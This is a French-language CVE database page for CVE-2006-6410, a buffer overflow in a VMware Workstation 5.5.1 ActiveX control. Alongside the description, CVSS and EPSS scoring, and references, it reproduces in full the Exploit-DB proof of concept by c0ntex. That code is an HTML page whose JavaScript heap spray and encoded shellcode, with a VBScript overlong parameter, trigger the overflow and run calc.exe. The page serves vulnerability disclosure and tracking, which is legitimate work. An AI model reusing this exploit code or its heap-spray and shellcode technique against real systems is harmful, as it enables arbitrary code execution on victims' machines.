CVE-2006-6410 : Détail

CVE-2006-6410

0.04%V3
Local
2006-12-10
01h00 +00:00
2018-10-17
18h57 +00:00
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Descriptions du CVE

Buffer overflow in an ActiveX control in VMWare 5.5.1 allows local users to execute arbitrary code via a long VmdbDb parameter to the Initialize function.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 2264

Date de publication : 2006-08-26 22h00 +00:00
Auteur : c0ntex
EDB Vérifié : Yes

/* ***************************************************************************************************************** $ An open security advisory #17 - VMWare ActiveX lame local overflow ***************************************************************************************************************** 1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com -+- www.open-security.org 2: Bug Released: August 18th or so... 2006 3: Bug Impact Rate: Code execution 4: Bug Scope Rate: Local ***************************************************************************************************************** $ This advisory and/or proof of concept code must not be used for commercial gain. ***************************************************************************************************************** VMWare http://vmware.com "Revolutionize software development, testing and deployment in your enterprise with powerful virtual machine software for developers and system administrators. VMware Workstation delivers powerful virtual machine software for the technical professional." Since this is a local only for ActiveX component, it requires being emailed or distribution via some p2p file share network or p2p chat networks. Pretty useless :) */ <html> <head> <title>WinXP Pro SP2 lame local VMWare Buffer Overflow</title> </head> <body> <center> <br> Discovered and developed by c0ntex - [email protected]<br> Visit my website at http://www.open-security.org<br> <br> <h3> This will exploit overflow and execute calc.exe on WinXP Pro SP2<br> (fully patched) against VMWare 5.5.1 Initialize ActiveX member.<br> </h3> I have only found a bad solution to this bug. Due to the fact that<br> my controlling assembler is a call dword ptr[reg] I need to point<br> to a location I control, fine. However my payload is random pretty<br> much every run. Therefor I fill half a HUGE buffer with the address<br> (pointer) to my evil buffer, which them trampolines me to shellcode<br> <br> call ptr [reg]<br> [reg] -> 0xtrampoline<br> 0xtrampoline -> shellcode<br> <br> </center> <script> var buffa1 = unescape("%uedb0%u0d91") do { buffa1 += buffa1; } while (buffa1.length < 0x500000); var buffa2 = unescape("%u9090%u9090") do { buffa2 += buffa2; } while (buffa2.length < 0x800000); buffa1 += buffa2; buffa1 += unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" + "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" + "%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" + "%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" + "%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" + "%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" + "%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" + "%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" + "%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" + "%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" + "%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" + "%uCC4A%uD0FF"); </script> <object id="target" classid="clsid:F76E4799-379B-4362-BCC4-68B753D10744"> </object> <script language="vbscript"> VmdbDb=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA VmdbPoll=200011744 target.Initialize VmdbDb, VmdbPoll </script> </body> # milw0rm.com [2006-08-27]

Products Mentioned

Configuraton 0

Vmware>>Workstation >> Version 5.5.1

Références

https://www.exploit-db.com/exploits/2264
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/19732
Tags : vdb-entry, x_refsource_BID
http://securityreason.com/securityalert/2008
Tags : third-party-advisory, x_refsource_SREASON